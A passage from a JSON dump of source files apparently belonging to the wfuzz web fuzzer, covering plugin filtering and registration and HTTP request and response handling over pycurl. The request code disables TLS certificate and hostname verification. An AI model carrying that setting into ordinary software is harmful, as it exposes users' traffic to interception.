item.find(\"*\")\n\n        if wildc_index > 0:\n            return self.plugin.name.startswith(item[:wildc_index])\n        else:\n            if isinstance(self.plugin.category, list):\n                return item in self.plugin.category or self.plugin.name == item\n            else:\n                return self.plugin.category == item or self.plugin.name == item\n\n    def __myreduce(self, elements):\n        first = elements[0]\n        for i in range(1, len(elements), 2):\n            if elements[i] == \"and\":\n                first = first and elements[i + 1]\n            elif elements[i] == \"or\" or elements[i] == \",\":\n                first = first or elements[i + 1]\n\n        return first\n\n    def __compute_formula(self, tokens):\n        return self.__myreduce(tokens[0])\n\n    def simple_filter(self, plugin, filter_string):\n        ret = []\n\n        for item in filter_string.split(\",\"):\n            wildc_index = item.find(\"*\")\n            if wildc_index > 0:\n                ret.append(\n                    (\n                        item in plugin.category\n                        or plugin.name.startswith(item[:wildc_index])\n                    )\n                )\n            else:\n                ret.append((item in plugin.category or plugin.name == item))\n\n        return any(ret)\n\n    def simple_filter_banned_keywords(self, filter_string):\n        if filter_string.find(\"(\") >= 0:\n            return True\n        elif filter_string.find(\")\") >= 0:\n            return True\n        elif any(x in [\"or\", \"not\", \"and\"] for x in filter_string.split(\" \")):\n            return True\n        else:\n            return False\n\n    def is_visible(self, plugin, filter_string):\n        self.plugin = plugin\n        if PYPARSING:\n            return self.finalformula.parseString(filter_string)[0]\n        else:\n            if self.simple_filter_banned_keywords(filter_string):\n                raise Exception(\"Pyparsing missing, complex filters not allowed.\")\n            else:\n                return self.simple_filter(plugin, filter_string)\n"
  },
  {
    "path": "src/wfuzz/externals/moduleman/plugin.py",
    "content": "try:\n    from collections.abc import Callable\nexcept ImportError:\n    from collections import Callable\n\n\ndef moduleman_plugin(*args):\n    method_args = []\n\n    def inner_decorator(cls):\n        for method in method_args:\n            if not (method in dir(cls)):\n                raise Exception(\"Required method %s not implemented\" % method)\n        cls.__PLUGIN_MODULEMAN_MARK = \"Plugin mark\"\n\n        return cls\n\n    if not isinstance(args[0], Callable):\n        method_args += args\n        return inner_decorator\n\n    return inner_decorator(args[0])\n"
  },
  {
    "path": "src/wfuzz/externals/moduleman/registrant.py",
    "content": "from .modulefilter import Filter\nfrom collections import defaultdict\n\ntry:\n    from collections.abc import MutableMapping\nexcept ImportError:\n    from collections import MutableMapping\nfrom threading import Lock\n\n\nclass IRegistrant:\n    def __init__(self, loader, plg_filter):\n        self.plg_filter = plg_filter\n        self.loader = loader\n\n        self.start_loading()\n        self.load()\n        self.end_loading()\n\n    def register(self, identifier, module):\n        raise NotImplementedError\n\n    def start_loading(self):\n        raise NotImplementedError\n\n    def load(self):\n        raise NotImplementedError\n\n    def end_loading(self):\n        raise NotImplementedError\n\n    def modify_instance(self, module):\n        raise NotImplementedError\n\n\nclass KnowledgeBase(MutableMapping):\n    def __init__(self, *args, **kwargs):\n        self.__data = defaultdict(list)\n        self.mutex = Lock()\n\n    def __getitem__(self, key):\n        with self.mutex:\n            return self.__data[key]\n\n    def __setitem__(self, key, value):\n        with self.mutex:\n            self.__data[key].append(value)\n\n    def __delitem__(self, key):\n        with self.mutex:\n            del self.__data[key]\n\n    def __len__(self):\n        with self.mutex:\n            return len(self.__data)\n\n    def __str__(self):\n        with self.mutex:\n            return str(self.__data)\n\n    def __iter__(self):\n        return iter(self.__data)\n\n\nclass BRegistrant(IRegistrant):\n    def __init__(self, loader, plg_filter=Filter()):\n        self.__plugins = {}\n        self.__active_plugins = {}\n        self.kbase = KnowledgeBase()\n\n        IRegistrant.__init__(self, loader, plg_filter)\n\n    def register(self, identifier, module):\n        self.__plugins[identifier] = self.modify_instance(module)\n        self.__active_plugins[identifier] = True\n\n    def load(self):\n        self.loader.load(self)\n\n    def start_loading(self):\n        pass\n\n    def end_loading(self):\n        pass\n\n    def modify_instance(self, module):\n        module.kbase = self.kbase\n\n        return module\n\n    # ------------------------------------------------\n    # plugin management functions\n    # ------------------------------------------------\n    def plugin_state(self, identifier, state):\n        self.__active_plugins[identifier] = state\n\n    def __get_plugins(self, category, sorting):\n        def plugin_filter(x):\n            plgid, plg = x\n\n            if category == \"$all$\":\n                return True\n            elif not self.__active_plugins[plgid]:\n                return False\n            else:\n                return self.plg_filter.is_visible(plg, category)\n\n        def key_funtion(x):\n            return x[1].priority\n\n        plugin_list = list(filter(plugin_filter, list(self.__plugins.items())))\n\n        if sorting:\n            plugin_list.sort(key=key_funtion)\n\n        return plugin_list\n\n    def get_plugin(self, identifier):\n        # strict and fuzzy search\n        if identifier in self.__plugins:\n            return self.__plugins[identifier]\n        else:\n            plugin_list = [\n                plg\n                for plg_id, plg in self.__get_plugins(\"$all$\", True)\n                if identifier in plg_id\n            ]\n\n            if not plugin_list:\n                raise KeyError(\"No plugins found!\")\n            elif len(plugin_list) == 1:\n                return plugin_list[0]\n            else:\n                raise KeyError(\n                    \"Multiple plugins found: %s\"\n                    % \",\".join([plg.name for plg in plugin_list])\n                )\n\n        raise KeyError(\"No plugins found!\")\n\n    def get_plugins(self, category=\"$all$\", sorting=\"true\"):\n        return [plg for plg_id, plg in self.__get_plugins(category, sorting)]\n\n    def get_plugins_ext(self, category=\"$all$\", sorting=\"true\"):\n        plugin_list = [[\"Id\", \"Priority\", \"Category\", \"Name\", \"Summary\"]]\n\n        for plg_id, plg in self.__get_plugins(category, sorting):\n            plugin_list.append(\n                [\n                    plg_id,\n                    str(plg.priority),\n                    \", \".join(plg.category),\n                    str(plg.name),\n                    str(plg.summary),\n                ]\n            )\n\n        return plugin_list\n\n    def get_plugins_names(self, category=\"$all$\", sorting=\"true\"):\n        return [plg.name for plg_id, plg in self.__get_plugins(category, sorting)]\n\n    def get_plugins_ids(self, category=\"$all$\", sorting=\"true\"):\n        return [plg_id for plg_id, plg in self.__get_plugins(category, sorting)]\n\n\nclass MulRegistrant(BRegistrant):\n    def load(self):\n        for loader in self.loader:\n            loader.load(self)\n"
  },
  {
    "path": "src/wfuzz/externals/reqresp/Request.py",
    "content": "# Covered by GPL V2.0\n# Coded by Carlos del Ojo Elias (deepbit@gmail.com)\n# Lately maintained by Xavi Mendez (xmendez@edge-security.com)\n\n# Python 2 and 3\nimport sys\n\nif sys.version_info >= (3, 0):\n    from urllib.parse import urlparse\n    from urllib.parse import urlunparse\nelse:\n    from urlparse import urlparse\n    from urlparse import urlunparse\n\nimport re\nimport pycurl\n\nfrom .Variables import VariablesSet\nfrom .exceptions import ReqRespException\nfrom .Response import Response\n\nfrom wfuzz.helpers.str_func import python2_3_convert_to_unicode\nfrom wfuzz.helpers.obj_dic import CaseInsensitiveDict\n\nfrom .TextParser import TextParser\n\n\nPYCURL_PATH_AS_IS = True\nif not hasattr(pycurl, \"PATH_AS_IS\"):\n    PYCURL_PATH_AS_IS = False\n\n\nclass Request:\n    def __init__(self):\n        self.__host = None  # www.google.com:80\n        self.__path = None  # /index.php\n        self.__params = None  # Mierdaza de index.php;lskjflkasjflkasjfdlkasdf?\n        self.schema = \"http\"  # http\n\n        # #### Variables calculadas por getters NO SE PUEDEN MODIFICAR\n        # self.urlWithoutPath                    # http://www.google.es\n        # self.pathWithVariables                        # /index.php?a=b&c=d\n        # self.urlWithoutVariables=None                         # http://www.google.es/index.php\n        # self.completeUrl=\"\"                                   # http://www.google.es/index.php?a=b\n        # self.finalUrl=\"\"                                      # Url despues de hacer el FollowLocation\n        # self.redirectUrl=\"\"                                   # Url redirected\n        # self.postdata=\"\"              # Datos por POST, toto el string\n        # ###############\n\n        self.ContentType = (\n            \"application/x-www-form-urlencoded\"  # None es normal encoding\n        )\n        self.multiPOSThead = {}\n\n        self.__variablesGET = VariablesSet()\n        self._variablesPOST = VariablesSet()\n        self._non_parsed_post = None\n\n        # diccionario, por ejemplo headers[\"Cookie\"]\n        self._headers = CaseInsensitiveDict(\n            {\n                \"Content-Type\": \"application/x-www-form-urlencoded\",\n                \"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1)\",\n            }\n        )\n\n        self.response = None  # Apunta a la response que produce dicha request\n\n        # ################## lo de debajo no se deberia acceder directamente\n\n        self.time = None  # 23:00:00\n        self.ip = None  # 192.168.1.1\n        self._method = None\n        self.protocol = \"HTTP/1.1\"  # HTTP/1.1\n        self.__performHead = \"\"\n        self.__performBody = \"\"\n\n        self.__authMethod = None\n        self.__userpass = \"\"\n\n        self.description = \"\"  # For temporally store imformation\n\n        self.__proxy = None\n        self.proxytype = None\n        self.__timeout = None\n        self.__totaltimeout = None\n        self.__finalurl = \"\"\n\n        self.followLocation = False\n        self.__userpass = \"\"\n\n        self.totaltime = None\n\n    @property\n    def method(self):\n        if self._method is None:\n            return \"POST\" if self._non_parsed_post is not None else \"GET\"\n\n        return self._method\n\n    @method.setter\n    def method(self, value):\n        if value == \"None\":\n            value = None\n\n        self._method = value\n\n    def setFinalUrl(self, fu):\n        self.__finalurl = fu\n\n    def __str__(self):\n        str = \"[ URL: %s\" % (self.completeUrl)\n        if self.postdata:\n            str += ' - {}: \"{}\"'.format(self.method, self.postdata)\n        if \"Cookie\" in self._headers:\n            str += ' - COOKIE: \"%s\"' % self._headers[\"Cookie\"]\n        str += \" ]\"\n        return str\n\n    def getHost(self):\n        return self.__host\n\n    def getXML(self, obj):\n        r = obj.createElement(\"request\")\n        r.setAttribute(\"method\", self.method)\n        url = obj.createElement(\"URL\")\n        url.appendChild(obj.createTextNode(self.completeUrl))\n        r.appendChild(url)\n        if self.postdata:\n            pd = obj.createElement(\"PostData\")\n            pd.appendChild(obj.createTextNode(self.postdata))\n            r.appendChild(pd)\n        if \"Cookie\" in self._headers:\n            ck = obj.createElement(\"Cookie\")\n            ck.appendChild(obj.createTextNode(self._headers[\"Cookie\"]))\n            r.appendChild(ck)\n\n        return r\n\n    def __getattr__(self, name):\n        if name == \"urlWithoutVariables\":\n            return urlunparse((self.schema, self.__host, self.__path, \"\", \"\", \"\"))\n        elif name == \"pathWithVariables\":\n            return urlunparse(\n                (\"\", \"\", self.__path, \"\", self.__variablesGET.urlEncoded(), \"\")\n            )\n        elif name == \"completeUrl\":\n            return urlunparse(\n                (\n                    self.schema,\n                    self.__host,\n                    self.__path,\n                    self.__params,\n                    self.__variablesGET.urlEncoded(),\n                    \"\",\n                )\n            )\n        elif name == \"finalUrl\":\n            if self.__finalurl:\n                return self.__finalurl\n            return self.completeUrl\n        elif name == \"urlWithoutPath\":\n            return \"%s://%s\" % (self.schema, self._headers[\"Host\"])\n        elif name == \"path\":\n            return self.__path\n        elif name == \"postdata\":\n            if self.ContentType == \"application/x-www-form-urlencoded\":\n                return self._variablesPOST.urlEncoded()\n            elif self.ContentType == \"multipart/form-data\":\n                return self._variablesPOST.multipartEncoded()\n            elif self.ContentType == \"application/json\":\n                return self._variablesPOST.json_encoded()\n            else:\n                return self._variablesPOST.urlEncoded()\n        else:\n            raise AttributeError\n\n    def setUrl(self, urltmp):\n        self.__variablesGET = VariablesSet()\n        self.schema, self.__host, self.__path, self.__params, variables, f = urlparse(\n            urltmp\n        )\n        if \"Host\" not in self._headers or (not self._headers[\"Host\"]):\n            self._headers[\"Host\"] = self.__host\n\n        if variables:\n            self.__variablesGET.parseUrlEncoded(variables)\n\n    # ############## PROXY ##################################\n    def getProxy(self):\n        return self.__proxy\n\n    def setProxy(self, prox, ptype):\n        self.__proxy = prox\n        self.proxytype = ptype\n\n    # ############## FOLLOW LOCATION ########################\n    def setFollowLocation(self, value):\n        self.followLocation = value\n\n    # ############# TIMEOUTS ################################\n    def setConnTimeout(self, time):\n        self.__timeout = time\n\n    def getConnTimeout(self):\n        return self.__timeout\n\n    def setTotalTimeout(self, time):\n        self.__totaltimeout = time\n\n    def getTotalTimeout(self):\n        return self.__totaltimeout\n\n    # ############# Autenticacion ###########################\n    def setAuth(self, method, string):\n        self.__authMethod = method\n        self.__userpass = string\n\n    def getAuth(self):\n        return self.__authMethod, self.__userpass\n\n    # ############# TRATAMIENTO VARIABLES GET & POST #########################\n\n    def existsGETVar(self, key):\n        return self.__variablesGET.existsVar(key)\n\n    def existPOSTVar(self, key):\n        return self._variablesPOST.existsVar(key)\n\n    def setVariablePOST(self, key, value):\n        v = self._variablesPOST.getVariable(key)\n        v.update(value)\n\n    #       self._headers[\"Content-Length\"] = str(len(self.postdata))\n\n    def setVariableGET(self, key, value):\n        v = self.__variablesGET.getVariable(key)\n        v.update(value)\n\n    def getGETVars(self):\n        return self.__variablesGET.variables\n\n    def getPOSTVars(self):\n        return self._variablesPOST.variables\n\n    def setPostData(self, pd, boundary=None):\n        self._non_parsed_post = pd\n        self._variablesPOST = VariablesSet()\n\n        try:\n            if self.ContentType == \"multipart/form-data\":\n                self._variablesPOST.parseMultipart(pd, boundary)\n            elif self.ContentType == \"application/json\":\n                self._variablesPOST.parse_json_encoded(pd)\n            else:\n                self._variablesPOST.parseUrlEncoded(pd)\n        except Exception:\n            try:\n                self._variablesPOST.parseUrlEncoded(pd)\n            except Exception:\n                print(\"Warning: POST parameters not parsed\")\n                pass\n\n    ############################################################################\n\n    def addHeader(self, key, value):\n        self._headers[key] = value\n\n    def delHeader(self, key):\n        if key in self._headers:\n            del self._headers[key]\n\n    def __getitem__(self, key):\n        if key in self._headers:\n            return self._headers[key]\n        else:\n            return \"\"\n\n    def getHeaders(self):\n        header_list = []\n        for i, j in self._headers.items():\n            header_list += [\"%s: %s\" % (i, j)]\n        return header_list\n\n    def head(self):\n        conn = pycurl.Curl()\n        conn.setopt(pycurl.SSL_VERIFYPEER, False)\n        conn.setopt(pycurl.SSL_VERIFYHOST, 0)\n        conn.setopt(pycurl.URL, self.completeUrl)\n\n        conn.setopt(pycurl.NOBODY, True)  # para hacer un pedido HEAD\n\n        conn.setopt(pycurl.WRITEFUNCTION, self.header_callback)\n        conn.perform()\n\n        rp = Response()\n        rp.parseResponse(self.__performHead)\n        self.response = rp\n\n    def createPath(self, newpath):\n        \"\"\"Creates new url from a location header || Hecho para el followLocation=true\"\"\"\n        if \"http\" in newpath[:4].lower():\n            return newpath\n\n        parts = urlparse(self.completeUrl)\n        if \"/\" != newpath[0]:\n            newpath = \"/\".join(parts[2].split(\"/\")[:-1]) + \"/\" + newpath\n\n        return urlunparse([parts[0], parts[1], newpath, \"\", \"\", \"\"])\n\n    # pycurl - reqresp conversions\n    @staticmethod\n    def to_pycurl_object(c, req):\n\n        c.setopt(pycurl.MAXREDIRS, 5)\n\n        c.setopt(pycurl.WRITEFUNCTION, req.body_callback)\n        c.setopt(pycurl.HEADERFUNCTION, req.header_callback)\n\n        c.setopt(pycurl.NOSIGNAL, 1)\n        c.setopt(pycurl.SSL_VERIFYPEER, False)\n        c.setopt(pycurl.SSL_VERIFYHOST, 0)\n\n        if PYCURL_PATH_AS_IS:\n            c.setopt(pycurl.PATH_AS_IS, 1)\n\n        c.setopt(pycurl.URL, python2_3_convert_to_unicode(req.completeUrl))\n\n        if req.getConnTimeout():\n            c.setopt(pycurl.CONNECTTIMEOUT, req.getConnTimeout())\n\n        if req.getTotalTimeout():\n            c.setopt(pycurl.TIMEOUT, req.getTotalTimeout())\n\n        authMethod, userpass = req.getAuth()\n        if authMethod or userpass:\n            if authMethod == \"basic\":\n                c.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_BASIC)\n            elif authMethod == \"ntlm\":\n                c.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_NTLM)\n            elif authMethod == \"digest\":\n                c.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_DIGEST)\n            c.setopt(pycurl.USERPWD, python2_3_convert_to_unicode(userpass))\n        else:\n            c.unsetopt(pycurl.USERPWD)\n\n        c.setopt(pycurl.HTTPHEADER, python2_3_convert_to_unicode(req.getHeaders()))\n\n        curl_options = {\n            \"GET\": pycurl.HTTPGET,\n            \"POST\": pycurl.POST,\n            \"PATCH\": pycurl.UPLOAD,\n            \"HEAD\": pycurl.NOBODY,\n        }\n\n        for o in curl_options.values():\n            c.setopt(o, False)\n\n        if req.method in curl_options:\n            c.unsetopt(pycurl.CUSTOMREQUEST)\n            c.setopt(curl_options[req.method], True)\n        else:\n            c.setopt(pycurl.CUSTOMREQUEST, req.method)\n\n        if req._non_parsed_post is not None:\n            c.setopt(\n                pycurl.POSTFIELDS, python2_3_convert_to_unicode(req._non_parsed_post)\n            )\n\n        c.setopt(pycurl.FOLLOWLOCATION, 1 if req.followLocation else 0)\n\n        # proxy = req.getProxy()\n        # if proxy is not None:\n        #     c.setopt(pycurl.PROXY, python2_3_convert_to_unicode(proxy))\n        #     if req.proxytype == \"SOCKS5\":\n        #         c.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS5)\n        #     elif req.proxytype == \"SOCKS4\":\n        #         c.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS4)\n        #     req.delHeader(\"Proxy-Connection\")\n        # else:\n        #     c.setopt(pycurl.PROXY, \"\")\n\n        return c\n\n    def response_from_conn_object(self, conn, header, body):\n        # followlocation\n        if conn.getinfo(pycurl.EFFECTIVE_URL) != self.completeUrl:\n            self.setFinalUrl(conn.getinfo(pycurl.EFFECTIVE_URL))\n\n        self.totaltime = conn.getinfo(pycurl.TOTAL_TIME)\n\n        self.response = Response()\n        self.response.parseResponse(header, rawbody=body)\n\n        return self.response\n\n    def perform(self):\n        self.__performHead = \"\"\n        self.__performBody = \"\"\n        self.__headersSent = \"\"\n\n        try:\n            conn = Request.to_pycurl_object(pycurl.Curl(), self)\n            conn.perform()\n            self.response_from_conn_object(conn, self.__performHead, self.__performBody)\n        except pycurl.error as error:\n            errno, errstr = error\n            raise ReqRespException(ReqRespException.FATAL, errstr)\n        finally:\n            conn.close()\n\n    # ######## ESTE conjunto de funciones no es necesario para el uso habitual de la clase\n\n    def getAll(self):\n        pd = self._non_parsed_post if self._non_parsed_post else \"\"\n        string = (\n            str(self.method)\n            + \" \"\n            + str(self.pathWithVariables)\n            + \" \"\n            + str(self.protocol)\n            + \"\\n\"\n        )\n        for i, j in self._headers.items():\n            string += i + \": \" + j + \"\\n\"\n        string += \"\\n\" + pd\n\n        return string\n\n    # #########################################################################\n\n    def header_callback(self, data):\n        self.__performHead += data\n\n    def body_callback(self, data):\n        self.__performBody += data\n\n    def Substitute(self, src, dst):\n        a = self.getAll()\n        rx = re.compile(src)\n        b = rx.sub(dst, a)\n        del rx\n        self.parseRequest(b, self.schema)\n\n    def parseRequest(self, rawRequest, prot=\"http\"):\n        \"\"\" Aun esta en fase BETA y por probar\"\"\"\n        tp = TextParser()\n        tp.setSource(\"string\", rawRequest)\n\n        self._variablesPOST = VariablesSet()\n        self._headers = {}  # diccionario, por ejemplo headers[\"Cookie\"]\n\n        tp.readLine()\n        try:\n            tp.search(r\"^(\\S+) (.*) (HTTP\\S*)$\")\n            self.method = tp[0][0]\n            self.protocol = tp[0][2]\n        except Exception as a:\n            print(rawRequest)\n            raise a\n\n        pathTMP = tp[0][1].replace(\" \", \"%20\")\n        pathTMP = (\"\", \"\") + urlparse(pathTMP)[2:]\n        pathTMP = urlunparse(pathTMP)\n\n        while True:\n            tp.readLine()\n            if tp.search(\"^([^:]+): (.*)$\"):\n                self.addHeader(tp[0][0], tp[0][1])\n            else:\n                break\n\n        self.setUrl(prot + \"://\" + self._headers[\"Host\"] + pathTMP)\n\n        # ignore CRLFs until request line\n        while tp.lastline == \"\" and tp.readLine():\n            pass\n\n        # TODO: hacky, might need to change tp.readline returning read bytes instead\n        pd = \"\"\n        if tp.lastFull_line:\n            pd += tp.lastFull_line\n\n        while tp.readLine():\n            pd += tp.lastFull_line\n\n        if pd:\n            boundary = None\n            if \"Content-Type\" in self._headers:\n                values = self._headers[\"Content-Type\"].split(\";\")\n                self.ContentType = values[0].strip().lower()\n                if self.ContentType == \"multipart/form-data\":\n                    boundary = values[1].split(\"=\")[1].strip()\n\n            self.setPostData(pd, boundary)\n"
  },
  {
    "path": "src/wfuzz/externals/reqresp/Response.py",
    "content": "import re\nimport cgi\n\nfrom io import BytesIO\nimport gzip\nimport zlib\n\nfrom .TextParser import TextParser\n\nfrom wfuzz.helpers.str_func import python2_3_convert_from_unicode\n\n\ndef get_encoding_from_headers(headers):\n    \"\"\"Returns encodings from given HTTP Header Dict.\n\n    :param headers: dictionary to extract encoding from.\n    :rtype: str\n    \"\"\"\n\n    content_type = headers.get(\"Content-Type\")\n\n    if not content_type:\n        return None\n\n    content_type, params = cgi.parse_header(content_type)\n\n    if \"charset\" in params:\n        return params[\"charset\"].strip(\"'\\\"\")\n\n    if \"text\" in content_type:\n        return \"ISO-8859-1\"\n\n    if \"image\" in content_type:\n        return \"utf-8\"\n\n    if \"application/json\" in content_type:\n        return \"utf-8\"\n\n\ndef get_encodings_from_content(content):\n    \"\"\"Returns encodings from given content string.\n\n    :param content: bytestring to extract encodings from.\n    \"\"\"\n    charset_re = re.compile(r'<meta.*?charset=[\"\\']*(.+?)[\"\\'>]', flags=re.I)\n    pragma_re = re.compile(r'<meta.*?content=[\"\\']*;?charset=(.+?)[\"\\'>]', flags=re.I)\n    xml_re = re.compile(r'^<\\?xml.*?encoding=[\"\\']*(.+?)[\"\\'>]')\n\n    return (\n        charset_re.findall(content)\n        + pragma_re.findall(content)\n        + xml_re.findall(content)\n    )\n\n\nclass Response:\n    def __init__(self, protocol=\"\", code=\"\", message=\"\"):\n        self.protocol = protocol  # HTTP/1.1\n        self.code = code  # 200\n        self.message = message  # OK\n        self._headers = []  # bueno pues las cabeceras igual que en la request\n        self.__content = (\n            \"\"  # contenido de la response (si i solo si Content-Length existe)\n        )\n        self.md5 = \"\"  # hash de los contenidos del resultado\n        self.charlen = \"\"  # Cantidad de caracteres de la respuesta\n\n    def addHeader(self, key, value):\n        self._headers += [(key, value)]\n\n    def delHeader(self, key):\n        for i in self._headers:\n            if i[0].lower() == key.lower():\n                self._headers.remove(i)\n\n    def addContent(self, text):\n        self.__content = self.__content + text\n\n    def __getitem__(self, key):\n        for i, j in self._headers:\n            if key == i:\n                return j\n        print(\"Error al obtener header!!!\")\n\n    def getCookie(self):\n        str = []\n        for i, j in self._headers:\n            if i.lower() == \"set-cookie\":\n                str.append(j.split(\";\")[0])\n        return \"; \".join(str)\n\n    def has_header(self, key):\n        for i, j in self._headers:\n            if i.lower() == key.lower():\n                return True\n        return False\n\n    def getLocation(self):\n        for i, j in self._headers:\n            if i.lower() == \"location\":\n                return j\n        return None\n\n    def header_equal(self, header, value):\n        for i, j in self._headers:\n            if i == header and j.lower() == value.lower():\n                return True\n        return False\n\n    def getHeaders(self):\n        return self._headers\n\n    def getContent(self):\n        return self.__content\n\n    def getTextHeaders(self):\n        string = (\n            str(self.protocol) + \" \" + str(self.code) + \" \" + str(self.message) + \"\\r\\n\"\n        )\n        for i, j in self._headers:\n            string += i + \": \" + j + \"\\r\\n\"\n\n        return string\n\n    def getAll(self):\n        string = self.getTextHeaders() + \"\\r\\n\" + self.getContent()\n        return string\n\n    def Substitute(self, src, dst):\n        a = self.getAll()\n        b = a.replace(src, dst)\n        self.parseResponse(b)\n\n    def getAll_wpost(self):\n        string = (\n            str(self.protocol) + \" \" + str(self.code) + \" \" + str(self.message) + \"\\r\\n\"\n        )\n        for i, j in self._headers:\n            string += i + \": \" + j + \"\\r\\n\"\n        return string\n\n    def parseResponse(self, rawheader, rawbody=None, type=\"curl\"):\n        self.__content = \"\"\n        self._headers = []\n\n        tp = TextParser()\n        tp.setSource(\"string\", rawheader)\n\n        tp.readUntil(r\"(HTTP/[0-9.]+) ([0-9]+)\")\n        while True:\n            while True:\n                try:\n                    self.protocol = tp[0][0]\n                except Exception:\n                    self.protocol = \"unknown\"\n\n                try:\n                    self.code = tp[0][1]\n                except Exception:\n                    self.code = \"0\"\n\n                if self.code != \"100\":\n                    break\n                else:\n                    tp.readUntil(r\"(HTTP/[0-9.]+) ([0-9]+)\")\n\n            self.code = int(self.code)\n\n            while True:\n                tp.readLine()\n                if tp.search(\"^([^:]+): ?(.*)$\"):\n                    self.addHeader(tp[0][0], tp[0][1])\n                else:\n                    break\n\n            # curl sometimes sends two headers when using follow, 302 and the final header\n            # also when using proxies\n            tp.readLine()\n            if not tp.search(r\"(HTTP/[0-9.]+) ([0-9]+)\"):\n                break\n            else:\n                self._headers = []\n\n        # ignore CRLFs until request line\n        while tp.lastline == \"\" and tp.readLine():\n            pass\n\n        # TODO: this should be added to rawbody not directly to __content\n        if tp.lastFull_line:\n            self.addContent(tp.lastFull_line)\n\n        while tp.skip(1):\n            self.addContent(tp.lastFull_line)\n\n        if type == \"curl\":\n            self.delHeader(\"Transfer-Encoding\")\n\n        if self.header_equal(\"Transfer-Encoding\", \"chunked\"):\n            result = \"\"\n            content = BytesIO(rawbody)\n            hexa = content.readline()\n            nchunk = int(hexa.strip(), 16)\n\n            while nchunk:\n                result += content.read(nchunk)\n                content.readline()\n                hexa = content.readline()\n                nchunk = int(hexa.strip(), 16)\n\n            rawbody = result\n\n        if self.header_equal(\"Content-Encoding\", \"gzip\"):\n            compressedstream = BytesIO(rawbody)\n            gzipper = gzip.GzipFile(fileobj=compressedstream)\n            rawbody = gzipper.read()\n            self.delHeader(\"Content-Encoding\")\n        elif self.header_equal(\"Content-Encoding\", \"deflate\"):\n            deflated_data = None\n            try:\n                deflater = zlib.decompressobj()\n                deflated_data = deflater.decompress(rawbody)\n                deflated_data += deflater.flush()\n            except zlib.error:\n                try:\n                    deflater = zlib.decompressobj(-zlib.MAX_WBITS)\n                    deflated_data = deflater.decompress(rawbody)\n                    deflated_data += deflater.flush()\n                except zlib.error:\n                    deflated_data = \"\"\n            rawbody = deflated_data\n            self.delHeader(\"Content-Encoding\")\n\n        if rawbody is not None:\n            # Try to get charset encoding from headers\n            content_encoding = get_encoding_from_headers(dict(self.getHeaders()))\n\n            # fallback to default encoding\n            if content_encoding is None:\n                content_encoding = \"utf-8\"\n\n            self.__content = python2_3_convert_from_unicode(\n                rawbody.decode(content_encoding, errors=\"replace\")\n            )\n"
  },
  {
    "path": "src/wfuzz/externals/reqresp/TextParser.py",
    "content": "# Covered by GPL V2.0\n# Coded by Carlos del Ojo Elias (deepbit@gmail.com)\n\nimport sys\nimport re\n\n# python 2 and 3: iterator\nfrom builtins import object\n\n\nclass TextParser(object):\n    def __init__(self):\n        self.string = \"\"\n        self.oldindex = 0\n        self.newindex = 0\n        self.type = \"\"\n        self.lastFull_line = None\n        self.lastline = None\n\n        self.actualIndex = 0\n\n    def __del__(self):\n        if self.type == \"file\":\n            self.fd.close()\n\n    def __str__(self):\n        return str(self.matches)\n\n    def __iter__(self):\n        self.actualIndex = 0\n        return self\n\n    def __next__(self):\n        try:\n            value = self.matches[self.actualIndex]\n            self.actualIndex += 1\n            return value\n        except Exception:\n            raise StopIteration\n\n    def setSource(self, t, *args):\n        \"\"\"Se especifica el tipo de entrada. Puede ser fichero o entrada estandard\n\n        Ejemplos: setSource(\"file\",\"/tmp/file\")\n                    setSource(\"stdin\")\\n\"\"\"\n\n        if t == \"file\":\n            self.type = t\n            self.fd = open(args[0], \"r\")\n        elif t == \"stdin\":\n            if self.type == \"file\":\n                self.fd.close()\n            self.type = t\n        elif t == \"string\":\n            if self.type == \"file\":\n                self.fd.close()\n            self.type = t\n            self.string = args[0]\n            self.oldindex = 0\n            self.newindex = 0\n        else:\n            print(\"Bad argument -- TextParser.setSource()\\n\")\n            sys.exit(-1)\n\n    def seekinit(self):\n        self.oldindex = 0\n        self.newindex = 0\n\n    def readUntil(self, pattern, caseSens=True):\n        \"Lee lineas hasta que el patron (pattern) conincide en alguna linea\"\n\n        while True:\n            if self.readLine() == 0:\n                return False\n            if self.search(pattern, caseSens) is True:\n                break\n\n        return True\n\n    def search(self, pattern, caseSens=True, debug=0):\n        \"Intenta hacer Matching entre el pattern pasado por parametro y la ultima linea leida\"\n\n        if not caseSens:\n            self.regexp = re.compile(pattern, re.IGNORECASE)\n        else:\n            self.regexp = re.compile(pattern)\n        self.matches = self.regexp.findall(self.lastline)\n        j = 0\n        for i in self.matches:\n            if not isinstance(i, tuple):\n                self.matches[j] = tuple([self.matches[j]])\n            j += 1\n\n        #               DEBUG PARA MATCHING\n        if debug == 1:\n            print((\"[\", self.lastline, \"-\", pattern, \"]\"))\n            print((len(self.matches)))\n            print((self.matches))\n\n        if len(self.matches) == 0:\n            return False\n        else:\n            return True\n\n    def __getitem__(self, key):\n        \"Para acceder a cada uno de los patrones que coinciden, esta preparado paragrupos de patrones, no para solo un patron\"\n\n        return self.matches[key]\n\n    def skip(self, lines):\n        \"Salta las lines que se indiquen en el parametro\"\n\n        for i in range(lines):\n            if self.readLine() == 0:\n                return False\n\n        return True\n\n    def readLine(self):\n        \"Lee la siguiente linea eliminando retornos de carro\"\n\n        if self.type == \"file\":\n            self.lastFull_line = self.fd.readline()\n        elif self.type == \"stdin\":\n            self.lastFull_line = input()\n        elif self.type == \"string\":\n            if self.newindex == -1:\n                return 0\n\n            if self.oldindex >= 0:\n                self.newindex = self.string.find(\"\\n\", self.oldindex, len(self.string))\n                if self.newindex == -1:\n                    self.newindex = len(self.string) - 1\n                self.lastFull_line = self.string[self.oldindex : self.newindex + 1]\n\n                self.oldindex = self.newindex + 1\n            else:\n                self.lastFull_line = \"\"\n\n        bytes_read = len(self.lastFull_line)\n\n        s = self.lastFull_line\n        self.lastline = s\n\n        if s[-2:] == \"\\r\\n\":\n            self.lastline = s[:-2]\n        elif s[-1:] == \"\\r\" or s[-1:] == \"\\n\":\n            self.lastline = s[:-1]\n\n        return bytes_read\n"
  },
  {
    "path": "src/wfuzz/externals/reqresp/Variables.py",
